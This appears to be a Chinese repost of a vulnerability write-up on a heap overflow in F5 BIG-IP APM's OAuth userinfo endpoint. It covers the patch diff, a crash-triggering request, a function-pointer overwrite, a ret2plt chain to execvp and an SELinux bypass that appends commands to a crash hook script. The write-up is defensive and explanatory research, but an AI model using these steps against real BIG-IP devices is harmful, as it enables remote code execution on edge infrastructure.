CVE-2026-94127 是什么,“刷新”又怎么会有 CVE?

F5 是一家总部位于西雅图的厂商,它悄无声息地承担着多得令人担忧的互联网基础设施。该公司开发的 BIG-IP 是一种应用交付控制器(ADC),部署在应用前方,决定每个请求应被送往何处。

除了基本的负载均衡,一套典型的 BIG-IP 部署还会处理四层和七层流量管理、SSL/TLS 卸载、DNS 与全局服务器负载均衡;另外,视采购部门批准了多少许可证而定,它还可能充当 Web 应用防火墙(Advanced WAF),以及远程访问与单点登录网关(APM)。

所有这些能力都运行在 F5 自己的 TMOS 操作系统之上,并通过基于 Web 的 Configuration Utility(TMUI)和 iControl REST API 进行管理。

换句话说,它位于网络最边缘的位置,终止 TLS、以明文查看你的全部流量,还掌握着身份认证的钥匙。

9月22日,F5 发布了以下公告:

F5 BIG-IP 认证头堆溢出:从补丁差异到远程代码执行-RadeBit瑞安全

F5 官方公告(K000162605)列出的受影响版本如下:

产品分支已知存在漏洞的版本引入修复的版本
BIG-IP APM21.x21.1.0Hotfix-BIGIP-21.1.0.2.0.30.22-ENG.iso
BIG-IP APM17.x17.5.0 – 17.5.1
17.1.0 – 17.1.3
Hotfix-BIGIP-17.5.1.9.0.160.12-ENG.iso
Hotfix-BIGIP-17.1.3.5.0.41.14-ENG.iso
BIG-IP(所有其他模块)全部分支不适用
BIG-IQ Centralized Management全部分支不适用

搭建场景

为了支撑分析,我们搭建了一台 F5 BIG-IP 设备,创建了配置 OAuth 配置文件的虚拟服务器,并按照惯常的“到底改了什么”流程,对比以下版本:

  • 易受攻击版本:BIG-IP 21.1.0,build 0.0.38
  • 差异对照版本:BIG-IP 21.1.0.2,hotfix build 0.30.22

靠补丁差分逃离地狱

与其他任何设计精美的安全产品一样(咳,Citrix,咳),这次的重点目标似乎又是一个体积庞大的 ELF 文件。

F5 BIG-IP 认证头堆溢出:从补丁差异到远程代码执行-RadeBit瑞安全

把这些文件直接扔进 IDA,再启动Diaphora。

F5 BIG-IP 认证头堆溢出:从补丁差异到远程代码执行-RadeBit瑞安全

Diaphora 完成了比较:

--- unpatched/tmm64.pgo_use/sub_10B01C0.c
+++ patched/tmm64.pgo_use/sub_10B0E00.c
@@ -163,10 +160,20 @@
-LABEL_17:
-  if ( !v13 )
+LABEL_26:
+  if ( v20 > 0x4100 )
+  {
+    v15 = 5;
+    v26 = 29;
+    v27 = "Authorization header too big.";
+    if ( *(_DWORD *)(v5 + 616) )
+      goto LABEL_19;
+    goto LABEL_30;
+  }
+  if ( !v20 )
   {
-LABEL_21:
-    v22 = *(_QWORD *)(v5 + 520);
-    goto LABEL_22;
+LABEL_11:
+    v10 = *(_QWORD *)(v5 + 520);
+    goto LABEL_12;
   }
-  if ( sub_1527C00(v77, v84, v85, v8, v13, 0) == v13 )
+  if ( sub_152E2C0(v72, v81, v82, v8, v20, 0) == v20 )

修复后代码:

__int64 __fastcall sub_1147D80(__int64 a1, unsigned __int64 a2, __int64 a3)
{

[..SNIP..]

  ++*(_QWORD *)(qword_51F36C0 + 1352);
  a3 = *(_QWORD *)(a1 + 48);
  if ( (*(_WORD *)(a3 - 8) & 0x3FFF) == 0 )
    goto LABEL_68;
  ++*(_QWORD *)(*(_QWORD *)(a3 + 320) + 592LL);
  if ( v7 )
    ++*(_QWORD *)(v7 + 592);
  a2 = 66;
  v8 = (char *)umalloc(0x4100, 66, 0);   // [1] allocate a heap buffer of size 0x4100
  if ( !v8 )
  {
    v15 = 1;
    v26 = 30;
    v27 = "Out of memory for UserInfo req";
    if ( *(_DWORD *)(v5 + 616) )
      goto LABEL_19;
    goto LABEL_30;
  }
  if ( *(_WORD *)(v3 + 442) <= 0x1Du )
    goto LABEL_11;
  v9 = *(_WORD *)(v3 + 502);
  if ( v9 == 0xFFFF )
    goto LABEL_11;
  a3 = v9;
  if ( *(_WORD *)(v3 + 440) <= v9 )
    goto LABEL_11;
  a2 = *(_QWORD *)(v3 + 428);
  a3 = v9 >> 4;
  v17 = *(_QWORD *)(a2 + 8 * a3) + 24LL * (v9 & 0xF);
  if ( !v17 )
    goto LABEL_11;
  v18 = *(unsigned __int8 *)(v17 + 18);
  a3 = *(_DWORD *)(v17 + 8) + (unsigned int)*(unsigned __int16 *)(v17 + 16);
  v19 = *(_DWORD *)(v17 + 4) - a3;
  if ( v19 == v18 )
    goto LABEL_11;
  v20 = (unsigned int)(v19 - v18);    // [2] extract the Authorization header size
  v21 = *(_QWORD *)(v3 + 12);
  if ( v21 )
  {
    v22 = *(_QWORD *)(v21 + 8) + *(unsigned __int16 *)(v21 + 6);
    v82 = *(_QWORD *)(v3 + 12);
    v81 = v22;
    a3 = (unsigned int)(*(_DWORD *)v17 + a3);
    v23 = *(unsigned __int16 *)(v21 + 6);
    v24 = *(_QWORD *)(v21 + 8);
    a2 = a3 + v22;
    if ( a2 >= v24 + v23 && a2 < (unsigned __int64)*(unsigned __int16 *)(v21 + 4) + v23 + v24 )
    {
      v81 = a2;
      goto LABEL_26;
    }
  }
  else
  {
    v81 = 0;
    v82 = 0;
  }
  a2 = (unsigned __int64)&v81;
  v25 = sub_15C4E80(v72, &v81);
  v15 = v25;
  if ( v25 != 18 && v25 )
  {
    if ( *(_DWORD *)(v5 + 616) )
      goto LABEL_19;
    v26 = 38;
    v27 = "Failed to lookup authorization header.";
    goto LABEL_30;
  }
LABEL_26:
  if ( v20 > 0x4100 )    // [3] check the header size to not be more than 0x4100  
  {
    v15 = 5;
    v26 = 29;
    v27 = "Authorization header too big.";   // [4] error message
    if ( *(_DWORD *)(v5 + 616) )
      goto LABEL_19;
    goto LABEL_30;
  }
  if ( !v20 )
  {
LABEL_11:
    v10 = *(_QWORD *)(v5 + 520);
    goto LABEL_12;
  }
  
  // [5] copy the Authorization header value to the heap buffer which is v8
  if ( memcpy_wrapper(v72, v81, v82, v8, v20, 0) == v20 ) 
  {
    if ( v20 <= 6 || memcmp(v8, "Bearer ", 7u) )
    {
      v13 = 43;
      v14 = "Authorization header must be of type Bearer";
LABEL_18:
      v15 = 4;
      sub_112F7C0(a1, v73, v5, 2, v14, v13);
      goto LABEL_19;
    }
    
[..SNIP..]
  • 在 [1] 处,代码通过一次 umalloc 调用(姑且把它视作 malloc 的包装器)分配大小为 0x4100 的堆缓冲区,并将其保存在变量 v8 中。
  • 在 [2] 处,代码访问一个对象成员;我们推测它是所提供 Authorization: HTTP 标头的长度,并将其保存到变量 v20 中。
  • 在 [3] 处,代码检查这个长度值是否不超过 0x4100
  • 在 [4] 处,如果长度更大,代码便抛出错误。
  • 在 [5] 处,如果没有超限,代码就把 Authorization 标头值复制到堆缓冲区(v8)中。

事情很简单:修复前,程序在把值复制到堆缓冲区之前没有检查长度;现在有了。

再说得简单一些:这台企业安全设备存在一个安全漏洞,其根源是 20 年前就已为人熟知的基础型内存破坏原语,而且它偏偏出现在安全凭据的处理逻辑中。

如何触发它?

现在已经理解漏洞的本质,下一步就是实际触发它。

公告已经提到这里涉及 OAuth,而 F5 自己的 OAuth 文档提供了我们需要的全部细节。

首先,是启用 Access Policy Manager(APM)OAuth 配置文件的命令:

F5 BIG-IP 认证头堆溢出:从补丁差异到远程代码执行-RadeBit瑞安全

同一页面还给出了触发 OAuth 流程时需要访问的 HTTP 端点(这为“隐匿式安全”提供了压倒性的论据):

F5 BIG-IP 认证头堆溢出:从补丁差异到远程代码执行-RadeBit瑞安全

F5 BIG-IP 认证头堆溢出:从补丁差异到远程代码执行-RadeBit瑞安全

我们选择了 /f5-oauth2/v1/userinfo

配置好 OAuth 配置文件后,只需发送以下请求,并让 Authorization 标头大于 0x4100 字节,就能触发漏洞:

GET /f5-oauth2/v1/userinfo HTTP/1.1
Host: bigip
Authorization: Bearer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Connection: close

程序立刻崩溃了。

如下所示,ufree 在试图解引用已损坏的堆元数据时触发了断言:

rbx            0x30966e0           50947808
rcx            0x0                 0
rdx            0x0                 0
rsi            0x7feed66cd1c0      140663776399808
rdi            0x0                 0
rbp            0x40000a150000      0x40000a150000
rsp            0x4000003fc880      0x4000003fc880
r8             0xa                 10
r9             0x3442fac           54800300
r12            0x0                 0
r13            0x5                 5
r14            0x41414141          1094795585
r15            0x400004d62200      70368825319936
rip            0x16350b6           0x16350b6

#0  0x00000000016350b6 in ?? ()
#1  0x00000000016350d4 in tmm_assert ()
#2  0x000000000082be0a in ufree ()
#3  0x00000000010ba559 in ?? ()
#4  0x0000000000d5c35b in ?? ()
#5  0x0000000000dd8d33 in ?? ()
#6  0x0000000000858aee in ?? ()
#7  0x00000000008519c4 in ?? ()
#8  0x000000000084fc00 in ?? ()

我们发现系统范围的 ASLR 居然已经启用。更令人意外的是,与某些其他产品不同(咳,Citrix,咳),F5 BIG-IP 上的堆和栈都不可执行。

幸运的是,它没有 PIE:

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
FORTIFY:    Enabled

在大约 90% 的运行中,一个带有函数指针成员的对象会落在缓冲区之后不远处,具体位置是 buffer + 0x4ff8

下面大致是我们推测的对象成员布局:

+0x00  callback function
+0x08  other fields
+0x10  other fields

以下代码会调用被覆盖的函数指针:

mov  rdi, [rbx+18h]    ; rdi = address of the heap object
mov  r9,  [rdi]        ; r9  = object->callback
call r9                ; call the overwritten address

做一点基础的栈迁移,就能把对齐和参数安排到位,我们的第一个想法是经典的 ret2plt:串联 gadget 来调用 execvp

execvp(
    "/bin/sh",
    (char *[]) { "sh", "-c", "touch /watchTowr.txt", NULL }
);
F5 BIG-IP 认证头堆溢出:从补丁差异到远程代码执行-RadeBit瑞安全

绕过 SELinux

在寻找绕过 SELinux 的办法时,可以尝试直接把文件写到磁盘,再放置一个 Web shell,但是我们发现 Web 服务器也受 SELinux 约束。

于是,继续四处探查并监控进程,注意到每当目标进程崩溃时,都会有一个 Bash 脚本被调用:

bash /etc/bigstart/scripts/tmm.finish

决定再次利用 ret2plt;这次,把想执行的命令追加到钩子脚本本身。

以下是我们发起的调用:

fd = open("/etc/bigstart/scripts/tmm.finish", O_WRONLY | O_APPEND);
write(fd, "/usr/bin/touch /watchTowr.txt;", 30);